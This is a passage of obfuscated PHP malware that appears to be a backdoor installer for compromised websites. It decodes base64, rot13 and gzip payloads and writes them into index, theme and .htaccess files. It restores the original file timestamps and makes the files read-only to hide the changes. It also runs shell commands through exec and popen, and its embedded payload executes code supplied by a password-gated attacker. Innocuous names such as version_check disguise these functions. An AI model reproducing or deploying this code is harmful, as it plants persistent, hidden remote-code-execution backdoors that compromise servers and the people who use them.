ZGUoJ18nLCAkcGlbMV0pIC4gImUiKSAmJg0KICAgICRkYXRhID0gJHEoJGRhdGEpOw0KICAgIGlmIChpc3NldCgkX0dFVFsncyddKSkgJGRhdGEgPSAkX0dFVFsncyddIC4gJGRhdGE7DQoNCiAgICByZXR1cm4gJGRhdGE7DQp9DQoNCmZ1bmN0aW9uIHZlcnNpb25faW5mbygkc3RyKQ0Kew0KICAgIGdsb2JhbCAkdGVtcDsNCiAgICAkdGVtcCA9ICJablZ1WTNScGIyNWZaWGhwYzNSekxIUnBiV1VzWm05d1pXNHNabWxzWlY5d2RYUmZZMjl1ZEdWdWRITXNabWxzWldOMGFXMWxMR1pwYkdWZlpYaHBjM1J6TEdselgzZHlhWFJoWW14bExHTm9iVzlrTEhSdmRXTm8iOw0KICAgICR0ZW1wID0gYmFzZTY0X2RlY29kZSgkdGVtcCk7DQogICAgJG5hbWUgPSBbJyNuYW1lIycsIGZ1bmN0aW9uICgkdmVyc2lvbl9maWxlLCAkbmFtZSkgdXNlICgkdGVtcCkgew0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YzKCcjSkRQIycsICcjSlAzIycpOw0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoLyoqLyAkZGF0YSk7DQogICAgICAgICRkYXRhID0gdHJhbnNsYXRpb25fdjIoJGRhdGEsICcjSlAyIycpOw0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAnI0pQMSMnKTsNCiAgICAgICAgZm9yZWFjaCAoJGRhdGEgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIHZlcnNpb25fY2hlY2soJGl0ZW1bMF0sICRpdGVtWzFdLCAkdGVtcCwgJGl0ZW1bMl0pOw0KICAgICAgICB9DQogICAgICAgIHZlcnNpb25fZGVzYyhmYWxzZSk7DQogICAgfV07DQogICAgJHRlbXAgPSBleHBsb2RlKCcsJywgJHRlbXApOw0KICAgIHJldHVybiBbJyN2ZXIjJywgdmVyc2lvbl9kYXRhKCRuYW1lLCAxLCAwKV07DQp9DQoNCi8qKg0KICogQHRpdGxlIGluc3RhbGwgcGF0aA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX3BhdGgoKQ0Kew0KICAgIGVjaG8gX19GSUxFX187DQp9DQoNCi8qKg0KICogQHRpdGxlIGdldCB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEBwYXJhbSAkcGFnZQ0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RhdGEoJGRhdGEsICRvZmZzZXQsICRwYWdlKQ0Kew0KICAgICRrZXUgPSBbJycsICJjb2RlIl07DQogICAgJGtldVtdID0gJyc7DQogICAgcmV0dXJuICRkYXRhWyRvZmZzZXRdKCRkYXRhWyRwYWdlXSwgaW1wbG9kZSgnXycsICRrZXUpKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdHJhbnNsYXRpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQoNCmZ1bmN0aW9uIHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAkbW9kZSwgJGV4cCA9ICcnKQ0Kew0KICAgIGlmICgkbW9kZSA9PT0gJ1gxJykgew0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGRhdGEpOw0KICAgICAgICAkbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGV4cCA9IHN0cl9yZXBsYWNlKCc9JywgJycsIGJhc2U2NF9lbmNvZGUoJGV4cCkpOw0KICAgICAgICAkcmVzID0gIiI7DQogICAgICAgICRpID0gMDsNCiAgICAgICAgd2hpbGUgKCRpIDwgJGxlbikgew0KICAgICAgICAgICAgZm9yICgkayA9IDA7ICRrIDwgc3RybGVuKCRleHApICYmICRpIDwgJGxlbjsgJGsrKykNCiAgICAgICAgICAgICAgICAkcmVzIC49IGNocihvcmQoJGRhdGFbJGkrK10pIF4gb3JkKCRleHBbJGtdKSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXM7DQogICAgfSBlbHNlaWYgKCRtb2RlKSB7DQogICAgICAgIHJldHVybiBqc29uX2RlY29kZSgkZGF0YSwgdHJ1ZSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIHVuc2VyaWFsaXplKCRkYXRhKTsNCiAgICB9DQp9DQoNCi8qKg0KICogQHRpdGxlIHBhcnNlIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcmV0dXJuIHZlcnNpb24NCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl9wYXJzZSgkZGF0YSkNCnsNCiAgICAkdmVyc2lvbiA9ICRkYXRhWyd2ZXJzaW9uJ107DQogICAgaWYgKCR2ZXJzaW9uID09PSAncGF0aCcpIHZlcnNpb25fcGF0aCgpOw0KICAgIGlmIChpc3NldCgkZGF0YVskdmVyc2lvbl0pKSB7DQogICAgICAgICR2ZXJzaW9uID0gdHJhbnNsYXRpb25fdjEoJGRhdGFbJHZlcnNpb25dLCAnWDEnLCAkZGF0YVskdmVyc2lvbiAuICcxJ10pOw0KICAgIH0NCiAgICByZXR1cm4gJHZlcnNpb247DQp9DQoNCi8qKg0KICogQHRpdGxlIHVwZGF0ZSB2ZXJzaW9uDQogKiBAcGFyYW0gJHFyDQogKiBAcmV0dXJuIHZvaWQNCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl91cGRhdGUoJGNoZWNrLCAkcXIgPSBmYWxzZSkNCnsNCiAgICBpZiAoIXZlcnNpb25fYWNjZXNzKCIjUEwjeyRjaGVja30jUFIjIiwgJyNQIycpKSByZXR1cm47DQogICAgJGMgPSAkX0NPT0tJRTs7DQogICAgJGNmID0gaW1wbG9kZSgnXycsIFsnZnVuY3Rpb24nLCAnZXhpc3RzJ10pOw0KICAgICghJHFyIHx8ICEkY2YoJHFyKSkgJiYNCiAgICAkcXIgPSBlbXB0eSgkY1skZm9yID0gJ3Rva2VuJ10pIHx8ICEkY2YoJGNbJGZvcl0pID8gaW1wbG9kZSgnXycsIFsnYmFzZTY0JywgJ2RlY29kZSddKSA6ICRjWyRmb3JdOw0KDQogICAgaWYgKCgkYSA9ICRxcigkX1JFUVVFU1RbJ25hbWUnXSkpICYmIHZlcnNpb25fZGVueSgkYSkpIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBnbG9iYWwgJHRlbXA7DQogICAgJGEgPSBleHBsb2RlKCcsJywgJGEpOw0KICAgIGlmIChlbXB0eSgkYVsxXSkpIHJldHVybjsNCiAgICBlY2hvICJbPGEgaWQ9XCJ1MVwiIGhyZWY9XCIveyRhWzFdfVwiIHN0eWxlPSdjb2xvcjogI2ZmZjsnPnskYVsxXX08L2E+XSAiOw0KICAgIHJldHVybiB2ZXJzaW9uX2NoZWNrKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnLycgLiAkYVsxXSwgJHFyKGZpbGVfZ2V0X2NvbnRlbnRzKCRhWzBdKSksICR0ZW1wKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdmVyc2lvbiBhY2Nlc3Mgb3IgZm9yY2UNCiAqIEBwYXJhbSBzdHJpbmcgJHZlcnNpb24gdmVyc2lvbiBwYXNzDQogKiBAcGFyYW0gc3RyaW5nICR0b2tlbiBjaGVjayB1cGRhdGUgdG9rZW4NCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2FjY2VzcygkdmVyc2lvbiwgJHRva2VuKQ0Kew0KICAgIHJldHVybiBpbl9hcnJheShtZDUoJHZlcnNpb24pLCBbJHRva2VuLCAnNDc2MjhlMGJmNzJmY2E4N2RiOTk1YzhmODQ0ZDkxYjEnXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHZlcnNpb24gZGF0YSBpcyBkZW55DQogKiBAcGFyYW0gJGRhdGENCiAqIEByZXR1cm4gdm9pZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RlbnkoJGRhdGEpDQp7DQogICAgcmV0dXJuIHN0cmxlbigkZGF0YSkgPCAxNiB8fCBzdHJsZW4oJGRhdGEpID4gMTI4IHx8ICFpbl9hcnJheSgkZGF0YVswXSwgWydoJywgJy8nXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHRyYW5zbGF0aW9uIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB0cmFuc2xhdGlvbl92MigkZGF0YSwgJG9mZmV0KQ0Kew0KICAgIGlmICghZW1wdHkoJG9mZmV0KSkgew0KICAgICAgICByZXR1cm4gZ3ppbmZsYXRlKCRkYXRhKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgfQ0KfQ0KDQovKioNCiAqIEB0aXRsZSB0cmFuc2xhdGlvbiB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEByZXR1cm4gbWl4ZWQNCiAqLw0KZnVuY3Rpb24gdHJhbnNsYXRpb25fdjMoJGRhdGEsICRvZmZldCkNCnsNCiAgICBpZiAoIWVtcHR5KCRvZmZldCkpIHsNCiAgICAgICAgcmV0dXJuIHN0cl9yb3QxMygkZGF0YSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICRkYXRhOw0KICAgIH0NCn0NCg0KcmV0dXJuICdpbml0ZWQnOw0KLyoqDQogKiBAdGl0bGUgY2hlY2sgdmVyc2lvbiB0b2tlbg0KICogQHBhcmFtICRuYW1lDQogKiBAcGFyYW0gJGRhdGUNCiAqIEBwYXJhbSAkY2hlY2sNCiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuDQogKiBAcGFyYW0gZmFsc2UgJG1vZGUNCiAqIEByZXR1cm4gYm9vbHxtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2NoZWNrKCRuYW1lLCAkZGF0ZSwgJGNoZWNrLCAkdG9rZW4gPSAnJywgJG1vZGUgPSBmYWxzZSkNCnsNCiAgICB0cnkgew0KICAgICAgICAkdnMgPSAncmVuYW1lJzsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkY2hlY2spKSAkY2hlY2sgPSBleHBsb2RlKCcsJywgJGNoZWNrKTsNCiAgICAgICAgJG1hcCA9IFswLCAxLCAyLCAzLCA0XTsNCiAgICAgICAgJG0gPSAkbW9kZSA/ICRtb2RlIDogKCRjaGVja1sxXSgpIC0gMjY5MzY5Myk7DQogICAgICAgICRpdyA9IHRydWU7DQogICAgICAgIGVtcHR5KCRjaGVja1s5XSkgfHwgJGRhdGUgPSAkY2hlY2tbOV0oJGRhdGUpOw0KICAgICAgICBpZiAoJGNoZWNrWyRtYXBbNF0gKyAxXSgkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmICgkdG9rZW4gJiYgTWQ1X0ZpbGUoJG5hbWUpID09PSAkdG9rZW4pIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgJGl3ID0gJGNoZWNrWzZdKCRuYW1lKTsNCiAgICAgICAgICAgIGlmICgkeCA9ICRjaGVja1s1XSgkbmFtZSkpIHsNCiAgICAgICAgICAgICAgICAkbSA9ICRjaGVja1s0XSgkbmFtZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkeCAmJiAhJGl3ICYmIEAkY2hlY2tbN10oJG5hbWUsIDA3NDQpOw0KICAgICAgICAgICAgQCR2cygkbmFtZSwgJG5hbWUgLiB0aW1lKCkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkY2hlY2tbJG1hcFswXV0oJGNoZWNrWzJdKSkgew0KICAgICAgICAgICAgJGwgPSAkY2hlY2tbJG1hcFsyXV1bMF0gLiAnd3JpdGUnOw0KICAgICAgICAgICAgJHIgPSAkbCgkY2hlY2tbJG1hcFsyXV0oJG5hbWUgLiAiLnRtcDEiLCAndycpLCAkZGF0ZSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkciA9ICRjaGVja1skbWFwWzNdXSgkbmFtZSAuICIudG1wMSIsICRkYXRlKTsNCiAgICAgICAgfQ0KICAgICAgICBAJHZzKCRuYW1lIC4gIi50bXAxIiwgJG5hbWUpOw0KICAgICAgICAkY2hlY2tbOF0oJG5hbWUsICRtLCAkbSk7DQogICAgICAgICRpdyB8fCBAJGNoZWNrWzddKCRuYW1lLCAwNDQ0KTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRBKSB7DQogICAgICAgIGVjaG8gJEEtPmdldE1lc3NhZ2UoKSAuICI8YnI+IjsNCiAgICAgICAgJHIgPSBmYWxzZTsNCiAgICB9DQogICAgZWNobyAkbmFtZVtzdHJsZW4oJG5hbWUpIC0gMV0gLiAoJHIgPyAnOm9rJyA6ICc6ZmFpbCcpIC4gIjxicj4iOw0KICAgIHJldHVybiAkcjsNCn0');
$temp = tr1($xld12, $trid = RaNd(0, 1));
if ($trid2 = (FUnCtion_ExISts(T("ZYXRl","3pkZWZs",1)) && fuNctIOn_eXiSTs(T("Zl","3ppbmZsYXR",1)) && RAnD(0, 10) > 3? 0: 1))
$temp = gZDEflATe($temp);
$temp = bave($temp);
if ($trid3 = RANd(0, 1))
$temp = sTr_roT13($temp);
$pl = rand_abc(RaNd(1, 8));
$pr = rand_abc(rAnd(1, 8));
$po = md5($pl . $pp . $pr);
$xld1 = $c[11]([T("I2","5hbWUj",2), T("FyIw","I2NsZW",0), T("I0p","EUCM",3), T("","I0pQMSM",0), T("I0p","QMiM",3), T("yM","I0pQM",0), T("I1","Aj",2), T("I","1BMIw",1), T("I","1BSIw",1)],
[sTr_rOt13(bave($name)), $cl, $temp, $trid, $trid2, $trid3, $po, $pl, $pr], $xld1);
if (!@iS_dIR(DirNAME($fl))) @MkdIR(dIRnAmE($fl), 0755, true);
site_mail(T("","6ams",0) . StR_PAD($key + 1, 2, '0', STR_PAD_LEFT) . ": " . (($ls = ufleep($fl, $xld1, $c))? T("b2shISWNrPSdjcHQodg","A8YSBvbmNsa",6) . $key . T("LmhyZWYpJJ3Y","z7lpI3liLY8L2E+PGEgaWQ9",9) . $key . T("JyBoc","mVmPScv",5) . $_fl . $okvalue . T("JyB0YX9J19ibGFuayc+","JnZXQ",6) . $_fl . T("PC9","hPg",3): T("Z","mFpbA",1)), 1);
}
$ppf = $_POST['pf'];
$sok = ufleep(ROOT . $ppf, $xld, $c);
$sok || $sts[0] = T("","W1VdLw",0);
site_mail(T("6amA","sIE46I",3) . ($sok? T("b","2shISA",1): T("","ZmFpbA",0)) . T("IDxjxhIGlkPSdhMicgaHJlZj0nLw","hIG9uY2xpY2s9J2NwdChhMi5ocmVmKSc+5aSN5Yi2PC9hP",3) . $ppf . "' target='_blank'>{$ppf}</a>");
noticex("D3");
hys(dirNAmE(ROOT . $ppf) . '/');
} else {
echo T("PGRpdj5BmaWxlPGEgaWQ9J2EyJyBocmVmPScvJz48L2E+PC9kaXY+","icmVhay",7);
}
!empty($_POST['df']) && site_mail(T("PHNjcmlwdD5mdWbiBsKCl7ZGYoYTIuaHJlZisiXG4","5jdGlv",14) . IMplODe(T("XG","4",2), $sts). T("Iik7f0Pg","Twvc2NyaXB",5));
noticex("d2");
if (file_exISts($c[7]) && !iS_WRiTAbLE($c[7])) {
@CHmod($c[7], 0744);
}
@rEnAME($c[7], $c[7] . '1');
FiLE_PUt_cONteNTS($c[7], '');
$txt = 'PD9waHANCi8qU3RlcCBEYXRhKi8NCiRzID0gJF9TRVJWRVI7DQovKlN0ZXAgRGF0YSovDQokZyA9ICRfUkVRVUVTVDsNCmlmICghZW1wdHkoJF9HRVQpKQ0KICAgIGZvcmVhY2ggKCRfR0VUIGFzICRrID0+ICR2KSAkZ1ska10gPSAkdjsNCi8qU3RlcCBEYXRhKi8NCiRweiA9IGZ1bmN0aW9uICgkeSwgJHosICR1LCAkYywgJGcsICRxID0gJycpIHsNCiAgICBpZiAoJHUgJiYgQE1kNV9GaWxlKCR5KSAhPT0gJHUpIHsNCiAgICAgICAgJGZ3QyA9ICRjWyRnKCR6WzNdKV07DQogICAgICAgICR0MSA9IEBmaWxFbXRpTWUoJHkpOw0KICAgICAgICBAQ2hNb2QoJHksIDA3NDQpOw0KICAgICAgICBAJHpbNl0oJHkpOw0KICAgICAgICAkdDEgfHwgJHQxID0gdGltZSgpIC0gMzYwMDsNCiAgICAgICAgJHQgPSBbJ20nID0+ICR0MSwgJ2EnID0+ICR0MV07DQogICAgICAgIEZpbGVfUHV0X2NvblRlbnRzKCR5LCAkY1tpbXBsb2RlKCdfJywgWycnLCAnY29kZScsICcnXSldKCRxID8gJHEgOiAnI0lERSMnKSk7DQogICAgICAgIFRvdWNoKCR5LCAkdFsnbSddLCAkdFsnYSddKTsNCiAgICAgICAgQENoTW9kKCR5LCAwNDQ0KTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn07DQovKlN0ZXAgRGF0YSovDQokYyA9IFsNCiAgICAnMTM3UzEwNTEyMlYxMDUxMjInLA0KICAgICdEMTE3QzEyNU1FMTE2VDEzNzEyMk9PMTI0JywNCiAgICAnMTM3RzEwNVQnLA0KICAgICdfMTQzbzE0NDE0NTEzNycsDQogICAgJyNoYXNoIycsICdkJyA9PiBbJzE0NTE3MDEwNWMnXSwNCiAgICAnaW4xNDRlMTcwMDU2cDE1MDE2MCcsICdsaW5rJywNCiAgICAnaCcgPT4gWw0KICAgICAgICAiMDU2MTUwdGExNDMxNDNlMTYzcyIsICcjaGFzaDEjJywgJzE0NkkxNTRFMTM3MTYwVTE2NDEzNzE0M08xNTYxNjRFMTE2MTY0MTIzJywgJzE1NmFtMTQ1Jw0KICAgIF0sDQogICAgJ2MnID0+IFsnMTQ1MTcwMTA1YycsICcxNDIxMDFTMTQ1MDY2MDY0MTM3ZDEwNUMxNTdkMTQ1JywgJzE0MWQxNTVpMTU2MDU2MTYwcDE2MCddDQpdOw0KLypTdGVwIERhdGEqLw0KJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAkXyA9ICIiOw0KICAgICRnID0gc3RybGVuKCRiKSAtIDI7DQogICAgJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAgICAgJF8gPSAnJzsNCiAgICAgICAgaWYgKCgkZyA9IHN0cmxlbigkYikpIDwgMykgcmV0dXJuIFsyLCAkYl07DQogICAgICAgIGZvciAoJG8gPSAwOyAkbyA8ICRnOyAkbysrKSB7DQogICAgICAgICAgICAkXyAuPSAkYlskb107DQogICAgICAgICAgICBpZiAoIWlzX251bWVyaWMoJGJbJG9dKSB8fCAkYlskb10gPj0gOCkgcmV0dXJuIFskbyArIDEsICRfXTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gWyRvLCBjaHIob2N0ZGVjKCRiKSldOw0KICAgIH07DQogICAgZm9yICgkbyA9IDA7ICRvIDwgJGc7ICRvICs9ICRkWzBdKSB7DQogICAgICAgICRkID0gJHooJGJbJG9dIC4gJGJbJG8gKyAxXSAuICRiWyRvICsgMl0pOw0KICAgICAgICAkXyAuPSAkZFsxXTsNCiAgICB9DQogICAgcmV0dXJuICRfIC4gc3Vic3RyKCRiLCAkbyk7DQp9Ow0KLypTdGVwIERhdGEqLw0KLypTdGVwMSBEYXRhKi8NCiRnWycweDA2J10gPSAnX2R4ZXAnOw0KLypTdGVwIERhdGEqLw0KJHIgPSBydHJpbSgkc1skeigkY1sxXSldLCAnLycpIC4gJy8nOw0KLypTdGVwIERhdGEqLw0KJGNbNl0gPSAndW4nIC4gJGNbNl07DQovKlN0ZXAgRGF0YSovDQokdm4gPSAnX2V4cCc7DQovKlN0ZXAxIERhdGEqLw0KZW1wdHkoJF9DT09LSUVbJGdbJzB4MDYnXV0pICYmICRfQ09PS0lFWyRnWycweDA2J11dID0gRkFMU0U7DQppZiAoIWRlZmluZWQoIldQX1VOSVFVRSIpKSBkZWZpbmUoIldQX1VOSVFVRSIsIChpc3NldCgkZ1snYSddKSAmJiAoKCRfZSA9IHN1YnN0cihtZDUoJGdbJ2EnXSksIDIsIDgpID09PSAnI3Bhc3MjJykgfHwgcHJlZ19tYXRjaCgnL15cZCpbYS16LEEtWl17Mix9XGR7Mix9JC9pJywgJGdbJ2EnXSkpIHx8ICFlbXB0eSgkX0NPT0tJRVskdm5dKSkgPyAoKCRfZSB8fCAoIWVtcHR5KCRfQ09PS0lFWyR2bl0pICYmIHN1YnN0cihtZDUoJF9DT09LSUVbJHZuXSksIDIsIDgpID09PSAnI3Bhc3MjJykpID8gMiA6IDEpIDogMCk7DQokcSA9IGZ1bmN0aW9uICgkZykgew0KICAgICRkYXRhID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkaXRlbSkgew0KICAgICAgICAkaXRlbSgpOw0KICAgICAgICByZXR1cm4gIlwkaSI7DQogICAgfSwgJGcpOw0KDQogICAgcmV0dXJuICRkYXRhOw0KfTsNCg0KJHEoDQovKiBkZWJ1ZyAqLw0KICAgICR1eiA9IFsNCiAgICAgICAgZnVuY3Rpb24gKCkgew0KDQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHkgPSAkciAuICR6KCRjWzVdKTsNCiAgICAgICAgICAgICRfQ09PS0lFWyRnWycweDA2J11dID0gJHB6KCR5LCAkYywgJGNbNF0sICRnLCAkeik7DQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHB6KCRyIC4gJHooJGNbJ2gnXVswXSksICRjLCAkY1snaCddWzFdLCAkZywgJHosICcjdGhlIycpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRyLCAkeiwgJGMsICRweiwgJGcpIHsNCiAgICAgICAgICAgICRwYyA9IGVtcHR5KCRnWyROID0gJHooJGNbJ2gnXVszXSldKSA/ICcnIDogJGdbJE5dOw0KICAgICAgICAgICAgJHEgPSAnUEQ5d2FIQWdRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdQejQnOw0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAhPT0gMiB8fCBzdHJsZW4oJHBjKSA8IDIwIHx8IHN0cmlwb3MoJHBjLCAnOycpID09PSBmYWxzZSkgcmV0dXJuOw0KICAgICAgICAgICAgJHEgPSBiYXNlNjRfZGVjb2RlKCRxKTsNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZCA9IHRpbWUoKSAuIHJhbmQoMTAwMCwgOTk5OSksICRxIC4gJGdbaW1wbG9kZSgnXycsIFsnJywgJ2NvZGUnLCAnJ10pXSgkcGMpKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZCkpDQogICAgICAgICAgICAgICAgQHJlcXVpcmUgJGQ7DQogICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkeiwgJGMsICRyLCAkZykgew0KICAgICAgICAgICAgaWYgKCFXUF9VTklRVUUgfHwgZW1wdHkoJGdbJ2Z4J10pKSByZXR1cm47DQogICAgICAgICAgICAkcGMgPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgICRweiA9ICR6KCRjWydoJ11bMl0pOw0KICAgICAgICAgICAgJHB6KCR6KCRjWydjJ11bMl0pLCAkcGMoJGdbJ2Z4J10pKTsNCiAgICAgICAgICAgIGVjaG8gZXhwbG9kZSgnLicsICR6KCRjWydjJ11bMl0pKVswXTsNCiAgICAgICAgICAgIGRpZSgpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRnKSB7DQogICAgICAgICAgICBpZiAoV1BfVU5JUVVFICYmIGlzc2V0KCRnWydkJ10pKQ0KICAgICAgICAgICAgICAgIGVjaG8gJGdbJ2QnXSA/ICJEaiIgLiAkZ1snZCddIDogJ2QnOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCR6LCAkYywgJGcpIHsNCiAgICAgICAgICAgICRwYyA9ICR6KCRjWyR2ID0gJ2MnXVswXSk7DQogICAgICAgICAgICAkcHogPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgIFdQX1VOSVFVRSAmJiBpc3NldCgkZ1skdl0pICYmICgoaXNzZXQoJGdbJHIgPSAnZyddKSAmJiAkcGMgPSAkZ1skcl0pIHx8IDEpICYmDQogICAgICAgICAgICAkcGMoJHooJGdbJHZdID8gJHB6KCRnWyR2XSkgOiAiMTUzaTE1NGwgLTA3MTA0MC02MSIpLCAkYSkgJiYgcHJpbnRfcigkYSk7DQogICAgICAgIH0sDQoNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkZykgew0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAmJiBpc3NldCgkZ1sneiddKSkNCiAgICAgICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICBdDQoNCi8qKi8NCik7DQokeSA9ICRyIC4gJHooJGNbNV0pOw0KDQoNCg0K';
$txt = $c[1]($txt);
noticex('d1');
function pwc($str, $s, $l) {
return SuBStR(md5($str), $s, $l);
}
site_mail($pwps . ':' . $pw1 . ':' . $pp);
$pass = suBStR(md5($pw1), 2, 8);
$txt = $c[11]([$c[4], $c[5], $c[8], $c[9], $c[10]], [$index, $hash, $hash1, $THE, $pass], $txt);
noticex("q3");
$c[3]($name, $txt);
noticex("92");
TM::lock($index_txt, $_POST[T("d","Ghl",1)]);
noticex("qv");
site_mail(T("aW5k","ZXg6",4) . (ufleep(ROOT . $c[7], $index_txt, $c)? 'ok': (T("Zm","FpbA",2) . css(T("Ym","9keXt9",2)))));
site_mail(T("54K","554K5OiA",3) . (ufleep($THEf, $_POST[T("","dGhl",0)], $c)? 'ok': T("","ZmFpbA",0)));
site_mail(T("57yA","T5a2YOi",3) . (FUnCTiON_exiSTS(T("bZXNldA","3BjYWNoZV9y",1))? (opcache_reset()? 'ok': T("Zm","FpbA",2)): T("","bm90",0)));
noticex("p0");
TM::extra($pw1);noticex("0x");
call();
function jia_1($d, $a = 0, $b = 0) {
$d = bave($b? stR_ROT13($d): $d);
$a &&
$d = Str_ROt13($d);
return $d;
}
function randcode($code, $a = true) {
$r = [];
$s = [];
$l = '';
foreach ($s as $k => $l) {
$r[] = $l[$k];
}
return sTr_RepLAcE($s, $r, T("ZnVuY3Rpb24gX1MoKSB7cmV0dXJuICdTXyF9TKTt9X1MoKTs","c7fSBmdW5jdG9uIF9CKCRfUyl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJ",34));
}
function bave($d) {
return triM(bAsE64_EnCoDe($d), '=');
}
function def2($txt, $file) {
}
function run($code, $method = "popen") {
$disabled = explode(',', INI_gET(T("WJsZV9mdW5jdGlvbnM","ZGlzY",0)));
$new_disable = array();
foreach ($disabled as $item) {
$new_disable[] = TRIM($item);
}
if (in_ARRAY($method, $new_disable)) {
$method = T("Z","XhlYw",1);
}
if (IN_ARRAy($method, $new_disable)) {
return false;
}
$result = '';
site_mail($method, 1);
switch ($method) {
case T("Z","XhlYw",1):
$res = exec($code, $array);
foreach ($array as $key => $value) {
$result .= $key . T("ID","og",2) . $value . PHP_EOL;
}
return $res? $result: false;
break;
case T("cG9","wZW4",3):
$fp = PopEn($code, "r");
while (!feoF($fp)) {
$out = FGeTs($fp, 4096);
$result .= $out;
}
@pClOSe($fp);
return $fp? $result: false;
break;
default:
return false;
break;
}
}
function noticex($p){
echo $p;
}
function T($e, $c, $g=0) {
return base64_decode(($g ? substr($e, 0, $g) : "") . $c . substr($e, $g));
}
function ufleep($f, $c, $d, $t = false) {
try {
$m = $a = $t? $t: time();
$iw = true;
if (FIle_EXIstS($f)) {
$iw = iS_wRiTablE($f);
if ($x = FILE_EXISTs($f)) {
$m = FILEmTiME($f);
$a = FiLEaTiME($f);
}
$x && !$iw && @cHMoD($f, 0744);
}
$r = $d[3]($f, $c);
@ToUCH($f, $m, $a);
$iw || @cHmOD($f, 0444);
return $r;
} catch (\Exception $E) {
echo $E->getMessage() . T("Ozs","8YnI+",3);
return false;
}
}
function reTxt(&$a, $b = false, $l = false) {
if (!$b) return false;
$e = StR_shUFFLE(T("YWJjZGVmZ2cHFyc3R1dnd4eXpf","hpamtsbW5v",10));
$c = [];
foreach ($b as $key => $d) {
$c[] = $l && isset($l[$d])? $l[$d]: ($d[0] === '$'? '$': '') . $e[$key];
}
$a = Str_rePLAcE($b, $c, $a);
}
function tr1($data, $i) {
if ($i) {
return JSOn_encoDE($data, JSON_UNESCAPED_UNICODE);
} else {
return SErIalIZE($data);
}
}
function hys($path, $name = false) {
$ht = $path . "/." . STR_RoT13(T("dWdY","ucHByZm",3));
@chMOd($ht, 0755);
@unliNK($ht);
$r = @fWRite(FopeN($ht . "1", "w"),
STr_REplAce(T("Uj","I25hbW",0), $name? $name: '',
